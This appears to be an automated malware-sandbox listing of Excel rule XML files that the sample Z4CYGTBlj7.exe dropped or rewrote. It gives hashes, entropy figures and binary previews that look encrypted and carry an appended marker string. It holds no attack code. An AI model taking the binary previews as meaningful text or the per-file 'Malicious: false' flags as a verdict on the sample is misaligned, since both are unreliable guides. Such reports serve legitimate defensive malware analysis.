Preview:	<?xml...P........n...WZ.h^(v..'.j....A...8..E$..._V1........V..f..$..I....;.9....H...T8.......7.o5...=.[n..Lf.{;@G..{b..7D..a}....6..1.u....9....$.Q....0.N..U..r......r..$..C..iQ...p`..#....f..1.....;..xe.L.......Y...?..b....0^~.u...L.rhoKl..2..d.f...qtB4.X....@.....f.)9..M.&...3(...J0g...3B......}6.K5Mi..B..Q8.'......\|Lm.C9.......... ...mb.z...sV.5..C.z....%.....yq.....^.....a.6...Oz.eD.e.O.$2B.4?...C.L...-.....y.y>.&.a.).`...Y. .s...u.l.Ff/.;o...;..~.jKQ..mW5r2.d...3(.....UN.....n.B-.37..{e..bQ..c...............Fl..w.7..9k...uBKb.=..-.E.......6.GV4.r.}..k...gD.I...H.N#..!5Le..DtP.._miEoi..._.J....<.0>...+.......r.]y..n.9.$...D.n.(..6...B..qg....T'.l..'..R........M[.C>U..V ..G>..{...p..a.......d=..B....#...k...{...I..8...".....}!l..H.\...VLg.$...k...4..'.Ay.r........W_.52c.v..5J.).}l.e..,.Ds...8A....c.RAI........!...k.;...0P..j........$K" ..V.w..EhU.....u...1.Z..u\@Pr?)+.+3sL..).9,..{c.Lv$w..<..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5Bue

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.788870442079959
Encrypted:	false
SSDEEP:	24:3B6G3truK8xORCyPgUFk/dsdX/NHcF61kk4vnBiwmKYRoeTJsbD:3BJexgCyPbkFsXmCkk4vBiwm7KeTJmD
MD5:	A1151628E07456F8D43F2A24534798A9
SHA1:	B3ECB370940C68CFF3EFB2233A71CB5110A57238
SHA-256:	C6451F0BAEE7812613C6D19E914B2330DD6ECB4718069B15204A3716305B4B33
SHA-512:	6AA0074F585CF03E053A699B0E08A110C5307C09BA0B73FCB3B442C996E9A55406449FE93160AEFF4E15A6BE66D69D85FEAB8BCFD760E5C7D03013DB40C295F6
Malicious:	false
Preview:	<?xmlq..+..7.K.qR...;.N.c!...X..F...GQ...k...6H..........U....md2.../...+Z.8f.^.........=U.T..._.Y.Y......)..t.M<......_.o...>aE.w9J.u...S..?.\.`...<u..oM......oS......8[..h...O..l..........7...T...M..O...h..;.....Wh...'.O..n...F.....{4>h...4......a;......f.g.{...d.>d..Px.:..c$\|...jp.H.;._c..Ps....Qu..w~\.^.j.+.....\%m.B..\|..\|...z)........Qg.wh"1..qB..6...!..o$....j...........h..X.\|t....O.Za..Bsj......R..e...,%.D..,.5.d.........hf..A.S...;..>.AC*.....<....0..Z........3.......eH.@2..,ap....T....+......#J.s. ..8.).P...Z.0.[z}.k2.F..8.F.\..3.......Fs+9..>........8.H.5~kI.e9.....d.......;.79.w..J...?.wB......XZW.JD.N....z2Q&{...aX..X"..-...1...../.ca3.+d.Au.SG...g...x.6..Hts.".......= ..91..Y.p.w.-..g.J.....}....I..............!8k)...q'+. .$/R.l\JS...5>.1tp>..V.S.zU......\5.C.c.V...st..........e.......n.u}...}...F_J..oO.Z.I..6.g/_..D>......a..xro....}.....uK....(..(..0@8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.9318060376142485
Encrypted:	false
SSDEEP:	48:hjnzYC0ei4WQUpkwoLDwCANOj8aAgNBhox0Ds853exoTFlfD5g5C0CCEk5BWhmD:VECg4WQUpmDwC0OSwBax0DsLPjC+BWh+
MD5:	3A91FF3A024F74FCBD15C1FCABF50D3C
SHA1:	8E95890AD987E9643D62CF94CB1ED6847457A6F8
SHA-256:	59CAF5455C710CE2BBFD160D9EBADD2520D0FDC6FC58098758AC5EE8B422B87E
SHA-512:	A3491F95CB189D4EFFF25A014A78C94B65BB87E569C265B6CF373F4D21A539949A898ADD7A51C79F9F89CB1D9E52E8AB4A9A988ED41FE0EB25519E6124027CB5
Malicious:	false
Preview:	<?xmlP......VQW".N[Qv4U.t....WS}.n].UI...q..Fd..G"c...,.e......`..).....!.Xk.wq....#..&J.$o1.._3....._..MY..OAU...f \| P.7_.%....S.D.r5.>.b......F0.D..p.j.I.R.J.. cb...."......O ."....d...{...~..F..)..!5.jp}...~.[P.,UX&.;".v.L.B.g.ZZZ.&...{......{.m...!.{Y.....d..H..`...S..1.g...{@....P.@../.k.........m.P...0..~lm...b..7.../Pz......C.>7..8.VN`efd.'o.W..X,.mG.3...Ct....Z.x8.VE....N..G%..bde..l.(.....R...;.P....W..M..-t...w.Y...0...R2..(...............dQ.....z.....OH.c..>K.........z7..D.s.;.:....4..cZ.@....S.#...A...2..;H..!....=.$L.B.-...c.......R.0.8%JosL.q$$...&..A<+^..V.c....JE..<...W..v.3.;..c...b..xx..x.e`v......Yq3.E....4f:.h.1.....z.Y...K..7........p\^Jv............=zw..s.`b....%O....9_C....d.....X..x_.].o.\....j.ob..K;-....h.p..U.&S..ZP.....].^..a..'....N...%7...~ ....3...v.~.)...&..'e....J..{.. X....E...#.m..Q.x..?..ZD.K.`.......-.@.$`7.M}..<G..%^{.h.K...D.}..-F.d.m...h.8...V`....O$...o....\...w....bl.R..^.D.^.u.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.922775646630955
Encrypted:	false
SSDEEP:	48:4TfGkqZfOghAje24/IO5r8vCrpeGRikmAK3YHAAQ48S0B4sMQKq9WmD:4TfAPq+IerBtXRFdBAAQjB4sMTt+
MD5:	F782B3B5DA9DBDBA9B9A25CA5C7526D9
SHA1:	E70E08CBC61390A2181AC2021546659B03E9DCF0
SHA-256:	55C9B2B37FFBED82FDDFE9516A53A63EBD1D015F9B08409C24FA26BE693C90A7
SHA-512:	23CE5FBE31F92C53587D9FFF871195261499DC15A7B8A1E814C948F8EA41B7DED650043993171F0FD8423FDFBA019A7338D3423FE079E3AE1BA10C1E61B98F41
Malicious:	false
Preview:	<?xml.u.y..^^<hY..\....37....b..a..gg...$b.....B..4.l...."..Dd.s.9.)...#...KGf..'G..eP.(1b...e._HQ...t~.58.1n..lR@.;?...{....l..M...$..n'.p"N]L..Y..5..:..1W.......S@k.S......\|.^..sX..Xm..[P.&.M':..}.mtk.&...h.C..]Q.q.v$.h......,^A..C?{.]\B3.9..pYhC..Wz.bI....)1_...#T....".{.\|..$.DY. .Y...g...wRe.Dp..f....`..l\1L..9.^.......[Q...:..H..]..~K<.7...Qc!].....f:,..s....2.d....>..'..PL..~T>..n.+....8......3..@<.....L..HW.4G...6.B.;.co.b..H..L......(r..[b?.M....S...j. ..\R..+..]YD.A......Fu..e9..N.....8[..2.0.7.._..g6......w...0..j.a....\"y....>...5..l..s.......3.l.E..........K.t(.....#.H-...ni{4.x.2._....@]78.l.:#.....T.fqP9.,.....c08,.T....p.g.....;-'....f.M6...J....c2..e.M..H..b...K..7@.PPa..SW....C..~..It.?..`...]I...z../IS.Q.G.!...Kv.+..S.v.&.b...(.Nnx./..F.F0.h..`..2.................6:-J.V....fL.5f.j3fL....@w...R......?.....a.#.....&...I.y_.B.\.4.q..W.:.d7H.pT..4......Uve......S..4.9.>c.8.=".[..j7....t`.g/.\|.eK.;...R...u.P..~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.92931572553017
Encrypted:	false
SSDEEP:	48:7W7ForP9eb5r410MNl7ZjsRmaLy/Ox2vXq5hd7deUpDbZPkKZ7HmD:C58u5s1nrtYTy2x2vqZgURO67H+
MD5:	B316ADFF5B7D9DFBA43923541CBE9368
SHA1:	96410E72CE0EB3256135B9A8B76287050868F7A6
SHA-256:	C7A516CE99D0648A4D47637E7579A94ECE5DDDB3F286BBDFB1AC666A3084B459
SHA-512:	111B0176ACC4A493E8ED55EBA31D1578D19900F87C5E26A51FC378AA2A68B99B447446A2DAE8A4A802BB28716D425BF5EFFC13F4B6AA0C9A34CF9BD88109C8D9
Malicious:	false
Preview:	<?xml.........h.~..L...8..8].y7..h9..J......<.r...8..H.......Z..$?.N...k...SXW3\|W(...?.E...j.......QB......'..K.fk...G..H.#..B.sA..+..V.......3.........=....G...J..$).$..y....a....o./.~........}.6.C{.v..\....?...J%..... $..[...DH.jW..\|.....~...o#....2.H.0;.....<..S..?....'Ab.`D.h...)...m.."..Vg..p.......,.2....n.y.s......U.....4..^.m~y.L......Hn1..Q..(.h.Y2..T.H...7+jl..pzrlOX..!.....CR........R.....'>..,l41y..l....]..P.......;.g.Z:..C"....i..........)I...}3.P.$....7w..?`.eE.......BBee.=.6dB.....8.........;'u.....X..=.....5.I....~gZ.bu`,....P......~mX<s..b,.qWB..p.&.k.g....e.'....] r.... .[.]U.4$.#.....e.Mtb]Y.<..).<.5..K..O.........}.....hgn.......&.3.4st. ..9...{....1n..U..]...](......-..t.[Q..og.>.3..F"..\|........mGU..~.wG d.."O.B....m....D...fw^...0.m.E.`....X5k......PsDQ..0.t....n*[I..)..g.TD......=0..@..n......27..../.5..{..[heST}....Q.F.4.=.kb.q..:..g.._.......X,..!='......./...q..K...<xm%.......wZ..s_...J......d.. Z..._..@.=.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.761568595171057
Encrypted:	false
SSDEEP:	12:xxLuV4Eu21OsicLqmIl9OxTA3CwJQMSGRZtTtGWCfRWQYdElxpFOFTEuQscii9a:HuSIohmIixT0NJJlDTtGJJXFOpSsbD
MD5:	32814B07EB1D4D82DD74FCA35DDE2557
SHA1:	5DAD088E67A0EF7FA5C6BE10601F3F1F855D7242
SHA-256:	FE4437598A2DFE64E66F28A11415C0C664ABCD554E1B9AF531E03B9003AAFE65
SHA-512:	AC66DE92FA21301926E07A1847FBE00F789DB1565B9C463E994FE7ECBBD8E5EA27E615C7E214A4689591D450C70BFAF2DBFAE847384BC0424BA8D0169889DC2B
Malicious:	false
Preview:	<?xml.*B.ed....Gb.....AO....._...ru.`..H.-..^....0.....sa....m.-.%@yz.5..&......P9.......nF...1....\.....1.....<.w.:j.7u.]...........n...1..mP....(....n..x..&.h7.`2.e........[..yUR.....g...fa.=.#Ng.......k+...7\|.`}J.-F-J.I.!..;Q7=..C.......,x..~..HY.....e..,....<.....D.K[&.8...HN.6 .....HpF.w:...".,G7...Y...'...v.!....Qh2...S.VXk.....FK\|...`2..w.....&..w.....6'.2......_.....Z(...0.%...%.`..<..4,.nS...}...l...y..e..t../.I........1..(s....A.y....8....B..y'[...u0d..k..2.>4e..T.$...d.....".D.....x..llO...k#..Ax.<.[....... .O5.\...&..].u..rE.&+u.Wyq......g.u...p.p.#u.h..s.y.%.JkIO.q.........G.k\|.RV._.R...F.}H...'.V...;K{Q.v..A.tbw9.E.@...\|X.4!N..#.R....S...p2.Kl..0.......Y.=.6Arx../%6.......6^:9..H...:.mxc8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.806775261946599
Encrypted:	false
SSDEEP:	24:tSYJhlPm/M5GRTUkkXXYGB4tHdIcftWZXpOSaAVsbD:tSsArhUkQXpBangOfAVmD
MD5:	1ED144BEF888976130F36D730A857403
SHA1:	77ED2E3125FC50538744D5985749FAC5B5CE6668
SHA-256:	0CA8005400801656729C667FB861C44DC263ADA403B2E0C8DCF2E6A22126C4A4
SHA-512:	CF686641692BF489A144B5AB3BFF456862213010C87873E355BA691454D0F6DEA315593843EA31113544E3FC01EE564067827991B1369D0F5127197EC54924DA
Malicious:	false
Preview:	<?xml.."..}].......ax....O...$}See....q..c..g0.(.:F.9..eT..gH..i..N..Rz.w..n.........PS.)..B..y.......X.b.E$C......>I.-F.....]......<..i4\|C..Ea.h6W..?../.[...s..TxX...XC.o.n.p..iz.M:....F............&=.H=K...V..!...6gv>..&.."..SF..m...."......Q......Y..t...XOI..Y.]..Y.Clk2...N.8A.o$,..K'..F...h.e. . ..$.$...C.#.q...I.....7.s..vV...."T.p..).p.`.Y....W.}p..m....@).lm."pc...4..[.A.v....4.y..k......?.$..N\|.i..<.+..}.........@.-.W4`..$..B-K\|.T.f.......'?......C$z....6.[./C^........\....]...t..j..KQ.x......]._."%..:<m....qO..j..?)h.l..#.TxO.G....z......R..&&.>Z.....E..W.m.]G...m......~`......!........h.B5b,.....z.[..DOC......7J..e.....@...Y..F#).[...]...~.Y<Z..(.([.fu_.Auy..WZ..rk..........0...K.E...i.q...Z..m...RJ...L...$vH..m./......q.S..sf9.U..s.....l.@..58.q.2 ....D...>...>.^..+......^;.X....\./.y..'V..\|..Ph#.3).. .#C.\|]...3.t....e.....TG......3Ix5.U.....[.A.<..x.a.g........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.842151826865593
Encrypted:	false
SSDEEP:	24:FBzt7dV+j0SVVIZwlKVFCKK+SjeCpai2bYqL1zY+7VjhnRxu3mToz/Pf+WOZ7KX1:3VukZfKKK7jeOAf18EjhnzvkzfYRYZC+
MD5:	07F9F336517D1AA35C9FEE06EB326D68
SHA1:	312AE4FA0F24E6F7F116E63A7029F2BEE41C4262
SHA-256:	D5FDCD583AF101CBD1037849AA5C4C07929BDEC7B58ADECCA8E6C786B96004E7
SHA-512:	EB2C18C3A07E481B5BBE9644D0F7A54CC787F9A3A0FEB9FC9B3FA4AD7062ED0BC14C139480BC99D4F9A05EC3A941241FFA5D1103E9E5DCEB78AFDE6FE7A36E6A
Malicious:	false
Preview:	<?xml.#...r.C...........Y.D.._Sa....s.N'.ARW..-.....\.....XZ.95....JJ9u..%T5!..d...0.........\|r.'...m.....[.x../.QTUe.}#q.F.....R..s....3!.S.x..z..f.rzt.....(......L/B.}.E.h.y..i....W7...../.,.......%...w%Y.lE..>..iZ....._b..yj...A..e.B.R.S.p?...D3L._...["..^D......k....+6O.......-...L3F........XM.A.w...}..(..>..}.!x..C+`.1M...?..6..I......A..4..OBB>..D>....Y..Q...U..t/Di.V.6....ro#b_...Q.y+..#......aa..s4CR.c..(#...;.7wl3.U^....P..w.wp.w......X...,...5.$l.8....9.....N..m..............d.8)c......).fU....h3..Nn....q.c...........\|...3"8..;L,"..u.!B.(......=.d5...T...o.')..B.............z......;F....BEZ.I....O7V...s.3...I..vQ.......?..V.?......H....W.&..0.w-Z.....o......8...`=^...}~.>.{...0}M=.Uq.:5j1.C.[Wz.}.M...)..!.wa..'.~....=B..l....\A..V...=l..Ls........x.....-W...R..7....3.w......>...M...p.%,.....<B.......'k7.....p..f.).Q....HY..6..^....&...y....5.....u.7..`.F`...%>....2.]UW-.".07"..#`..l..B.w.".z../ht..A..M.......KD.>.JiT.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.858205397047679
Encrypted:	false
SSDEEP:	48:lzj4Yz83PpK8gZwYdABxztR+p58uTh72z+sJmD:5j4YIVgZVEztR+p2ChA+a+
MD5:	C7765FF4D2803D5C050875EA2D5CCC38
SHA1:	0EB69C3C8336F3006ED78735528FF72693719BC5
SHA-256:	C6766D7647739779720D981CC3A4D4C49956383AF618069419A86221D79FFD3E
SHA-512:	9A64BA3C8D0C2318550749EDDDBCC54F0E5F46CC1E7497E982CBBA1A6521416EB8DDA34099662B4F4F2143590B27D7AD85654F6EBF37A0E1EAA3BA55600EA913
Malicious:	false
Preview:	<?xml.Qa+..>......,..<^.C.1....+p....38..(>...<..l.7,.(.vw......~......&.UqW....Kk.....}O.R...n.Z...\|)..v^.F....j.q..t...B..;...."r...Y..%...H2!e.F.).....pFG.. ?..P8....L..h..,o...G......10.I....Di.[#.).....[.?.M...G...H..}b..TC..I........6P.[....H'.\|.e.... _w6......FV..N~.?N).+......Z5...a..p.+XKJ.........`....D.5..@..i.4........6...6t&.:.....!.2...#.gA..c....{A.rO..w.k..x-\.GA....\|.....CCV...j.k...(.......`.(...]....a.w.e.S+s.Xh.o.J...4..SD}..f.1.......z..]........HW>.[..&l..?.. .......ny....O.g.R..E.z5i..~R../..,.{.6.c..w.d..q@.~>7..q"..L.N.#1......U..\|@O.s......h..%.\>.,....I.;...d.4.^r.\|m.9J.4.&)\|s.^.3...9.:b...xhWFS..F%...OH.NM.d.@.Z1..,.4...........a.lLk.@.c..*.N/...x2(.h._T...F8.jv.9\|.;...`.o.^...MU.^..Z...\|r`..b.oP-.e8...mA.6..N.......yR...6.j....$.~l..;...=6s/.a..}....o............n...J...Ty...G.......yE.p....>...sh.].U.:[.......QF+F.....E.....`V.lI.t...!Z@.}mC..0.Vk)g......9..~7...].......q...]..Fq....7.....+..+..P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.929043971611045
Encrypted:	false
SSDEEP:	48:KM6E3i7/GOJ1UQN+44SBce0m5/VvniXy2odc9onRGi3cVqnoJK3bxFmruufo7end:UE3i73JH+MAm5tvnt2oS9o08cVmBbxQ9
MD5:	D1DE5ADC33CD3FEAC2F9F9F6F8F17B9C
SHA1:	A3CEE4716781AB290384A989A698AB0D11634D42
SHA-256:	148C5095C76AF4F05464975F83657E6ABBC7E4FFF6B042E845C6C01AE1CB1965
SHA-512:	19A2116A2027B8E583662AA717FB4EFEC1BC40AFAFFA0904AFAED78526EDB60A39E03F2994CF529719C1FACF1826C60D09E781BE147BCA02EA58C1E4CF67C008
Malicious:	false
Preview:	<?xml.:..L.Z=...v..<..J"..~_..k....Q.y.ya.HHN}4wI....k.u....(O..`}..-aZ.5...N...Xg4../.."...7.K.}j8xzG...M..Y.5...M.>a>+...S..&.W.'N....(......t.s.&.\t..=x...j.):9.hU..(>.+.(...UN%.D..O@nlFX.XSV... .3....4..`....&...t. .l.Y`2...F.....g.lX5V.S..N.6..X0...2.`....ZK?.qf.w.o@K..q ..O.. ....i...+L.4...............P~.....L.4..l\|..S.Z.../..,...-.;.c....z.V1......{...7...g...%.TAp.......<3n......X\|.Os6=1S,.+X)t...e..F.m?zZ....A94..C...;K.x..l;W....Y/..<x4......_3w....T.0:..nmfZ..R%F0c.Dt,......$8..r.%..\...m..bGF.!..L...].Oa......6.G...-.=.JyD...B3#Y..e..QE.B...nh..x.....b..H.<q.....=..$....nP.T......+.e....L.5..N8)R..S...T.J..........X.\|O..m.W\|....".Ay.....j.rB.u.owx...;..A..HS.H..z..)$>T........6...U^T.Xv...._...N.....~eM..7...iO.?.mC.s.....Am...k..4...o.o.....8..m...Ev..,.O....s...@.c8\|i..X..^.d.t.\{R........\..C.iaW4T....!.j.2V..H;...aIV'o).....!......."...%..t.J+.......-.mI$.QDFL>..."c........!x.X.j...../n..w...wR.\|.+...{g/......9. ..^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.854400955713157
Encrypted:	false
SSDEEP:	24:E9+IJH2aZU/HsjDlTHhRsP57IbItLgAR6blq2ALf9EsQaGpCgrkHpFLCVtevsbD:ElzSPLtLgAssB7SsnGprkHctomD
MD5:	F3AD02505A30BA92B0D2832FBDA63F94
SHA1:	25FE239783F1BBB5AFCE3930975EC589C2CF3EAB
SHA-256:	5038B6C86E4C1AA3FDC924A66F2B3A89CA87EDDE5406152578B195742E4063D3
SHA-512:	F9407547B4AD9272FFDB34B15F0EDD57403665966004D680473E3C36CAFB178867B017472F5F505774DB735A938001B59BA6E200E83E3E34B13E1CA5D9CEBDDD
Malicious:	false
Preview:	<?xml..UsC.<.C..3..........0).........C`.F.v..0.;.....V.R.n..8.}....-.:.M]7'...:.]..Si..%Q..La...4..j.O.c....^..t..M-;....t..a..0..A\|wxI.......H../?c'...e..N...a/.R.6Y..I.....MJW......{..D.b.9.'.VV$%.....7f....2..m....B~.\|...5K....Y.....7K...5.:A......LTm. ."..........&..K.....'X...S.)Ji4$2..$.,.?.m.v.).21.o....4.o.c87......=.n@.u\|#....s2t.[.#.He.=..b{.V.,u.z....Rmu...&.;l..\|.nf.i...`q.....C./..U#Y....i.@.......cc-.6.]....b%.?..k..B.m1G9.O.....#;..6Z...LU.~Z.b0..%..\|+u.j....9..'..}.E).~o..%...o...K.E..i'...;...J..!.Y...(..X...O?7l....e..}r O..8Y.F. ....U..q.Ai![.l.v.kL..}.gu."./n..;".....4.:Q..{.0.%..o9........ZD..#f./...r.....mK..V....-..X.qw[YX?.UF;..L.?......l#G.>.... -.V.1x..2.oL].Kf......+7L.l^.rn.T......y.H.!2.,........@...Z.,&e./..V..Ev.zF.(....Zt\|...8.QK:.r..V.....E.Xre..9..=.....K.%........w..."k....E\|...p.O.I.k........r.....PO......m..h...P.9..&...^.VZ.\|..k.];{.{>.>.!....q...u....">I.M...?..$..7......}C....0Sm...$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.90971509547274
Encrypted:	false
SSDEEP:	48:WFNdR2jdNPiLB4u9Cyylc9kL8GKtfed3yzmD:WfWCrP8qfE3yz+
MD5:	B10557F48DE6C8BEF1F8793575C90B0A
SHA1:	59480EEDFE0FA47E8E381BF7215EBB14DC2CC4A8
SHA-256:	B7CD35032BAED6DA8DC36D6F3430E7B40D884EE1FD9816943D12B71AC557BDE0
SHA-512:	C7D43FD5CD007D649001C1BF3EE072A715B5871E603084927CDB6B85218E7DF7BD51DDEC018301E9CF87FAE25DDA6FFB41DD8D154AB5DF2889BEC0C74D3E67FE
Malicious:	false
Preview:	<?xml.y..5.....8}..z.... ..i.I..%....1u.3.:...e......`........:.A.U.......6[..R.U.....d..B..;..n.}8..z..ar.....+.]..V.@%...LB.<3.1!..=d....I.B..4="o3....L0.....R..x1...R...O..5k...[-..o$t.}........`.Nj......VF]>..}.y..nKW..0..l..v........[.........]e....4....&#.DU..o.Xw.8u.#}.fz.S....B.R!z..0.j...4}IQ.[~B9....)......1..=^{.z.}-...I...m.-#.....4.gD>...xh..Q.,R...n.=/..R.Y..6..p.?.\|..(.a.F[...w B...].Y.].;..\cC.hc..l..$z.u..5.d&.......C.m...M1.uG..Z.G.%.}..p..<6..}.......x.'w.}......X.H.8..Zn!.;?6.z.a..7k.$..I.........@IU.Ic.2.2.{..'.F..N!..qHo(...A...cR.....h....fR...4T.<.r.r(.k[.z?C..6r.b]..c.5.!vS..p..O...S.gf..2....\gBn!t.l..I......$..[.f..c.Zg....y......$(.2&..f R..g.;._.pN\|U...6..XJ..R$.....a....PC3.l.....B.......b.d.../V......H?.I.#.....N..u......T.,p...7.....P....'.....4.Q.]....w....u...Aig.......Z..2{e.sL.y.g......uD.E.X....+.=....pwA.k..u.j..L...x.T.[7..x.....(......D6@...3.1..S.-.S....O.}..h.....?....M...U.. E}.ADAg.p3g.}\&..A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.893735441561137
Encrypted:	false
SSDEEP:	48:AX7SqQOYcEiSsasDnVxaXB1sDiYuVyeFqu5FKYoVsmD:WrZYCSsxry1s+L0cdFKzVs+
MD5:	29BDA93A755D2B20A64E247AF08F2DEE
SHA1:	3FFED7DD0BF682DA2B638212120FD00F230DDAA8
SHA-256:	A27696A901095F8DDA028296125CD5968D60F5CD64FCDA11742251C28269473A
SHA-512:	463F848C9F52A8F35179F1B30F12E6D45BD2CFEE7657940084228180A0F02ABC7ECC89166F33AD7FA2978F912612BD01F1421F692FF0D5BBD16CC6168918C4DC
Malicious:	false
Preview:	<?xml=..C..5....j.,....w....yN.....1.-.E..w..YsK...'...{..e...n...M.v..........'.p{...3BK......!6..5e.`.......r..1k.g2h..>..l......\& .Ye......N.~.%....B..xr5s............._.n.~....-..7;..s.......~+.....g.w...l$xv!jAW.G.^..`V.....V=...y^.R...M....3A~....m2!......:l...C......:......./.g..47....c.[.../Ef.."...M...?..`.ox.'..&MK..t..R....=.hu..........=...L.e$1..w.w..>cp._.....'.@R=.....`..$\|....$....De.R...^....h....S.s.bQ.u.O!x...{r.N5.6,.1.l4....Q...........DO"......D...1...m^..?......\[I+-h$...bg...\|>........?.&Bc[..j.. t?.&..SRuu...!..G.bs.F5KUL...uJ.4.60.)..fACl..~..U._ ...y...n..M+QL.....i...>..ozV....2i.{..a.H.v$.Y.8`..=.).....t..2...K.....D..Mh..._G.....d.j......1..k.:..t....-;...Z_..mR..(....#.....d=6e..T.OX[....K........C..}.._f.4&./v......U..,...F..#....H.k[B.,\|.H.Rri".vk)X.G..V..#a.Y.<....r.dO....}.....Y..._"(9.ej..4.cV`K./(Q ..[..b....=.?.K....c..Ss....iic.3.....^'...N...j[.O9..".z.f0.{(P.l......G&.......P....b..Pt.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.802176597849121
Encrypted:	false
SSDEEP:	24:8P272FrdagWbuYOKn77Z7xqMUUiCkYSY66OPOdZNpS8sj2HPJQG3sbD:8P2M+Vd9qLUioSY60G9qHRQomD
MD5:	DAB411AC59CE9060810EB5A30125A1BC
SHA1:	90E567715098C742634DF4197DEC0DAB2878A727
SHA-256:	350BC983289111F5211C9B2071F4A015654B85685239742429ADF5385023D60A
SHA-512:	02AF64C8A27A5D3EEEB7059021D36A5B94ECF0749DCEC6613D4EFE2238313B8F5091E0738B72AB8A5C7B7A014DFFB1B4EF2E17E2FB81C000BAB4B80A004FA973
Malicious:	false
Preview:	<?xml8..\|X...<7...._.c.v......E1....y8o.-...].on.t!].k.z.{.rcH/..+....S.d=Ol]v......... .9....s.J.n.".....X.......Y"...NkV.&.T..=..b Gb....w.......:7..5..[....K.}.)K....kc.E..P...!{q..lP3..g..Iw...D3....^.H= .......kK.KE ....54S.o...L...3$.T.&.!.&i.D...:X....A.Tv..H..q.-..e....j4&2...$...`...al.}8.......U.......3$.".p.o.}..3........ g+.c.=.`......#<..WBWhvH9.#2A.y.....B.~{..a#.....=K.<l...1...g.H\!...h......9d..f.)5vG..6..-..}`#..m]..Z.A.8.%.U.SP..G.<f........Yc.=.._.:..h..$...1.<........m....U....m9..P..AF{....U.pj.k.{5>>.ks...<..f:[.y.R.6D`.......cN.EfN...6.....G...w....0.!."..LW4.2h..-.......%]U.y..e.........1&C..[.....P..G.O...9.8.~3.<.........kO...g.aBb...: ..N..H.....R........._M...."P../..(........)B..&. K2..}.N)&...dY.\l.[.t.?.......;.z.).........c..9....L...}LX.....%.....HQ..Rd.=...*..!.......h]o.t".@LbMM.a..G.I..6..l....../..m'bb..]n.[..?..Zw........(].s.\.....k;.m...>......MF.....@.Mc..?Vs....:D{N..V7..]..D;..xl:...[z\u..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.754814809971424
Encrypted:	false
SSDEEP:	24:YUMfThmnO6BXgXoTemWbuYs7CqeS0AfsbD:gNslB0bbwEcfmD
MD5:	90DF902959CDD7E9A978B20D4485BB4A
SHA1:	C1D227ED0FDFC17CFA9DE0F7673A815C95B40E4F
SHA-256:	6133E8AB1B9E8A2ECF836754D107914370752930BBFDE5094590F057B98A0C21
SHA-512:	E15E336A891A1C6A1182939C6E24C550CB47FC130485B8F2BF1032B87F91D35AF669A265FC25EE6C6B96DAE8F966B376AFE9AC9C76BCF0BBD987721663EE0A0A
Malicious:	false
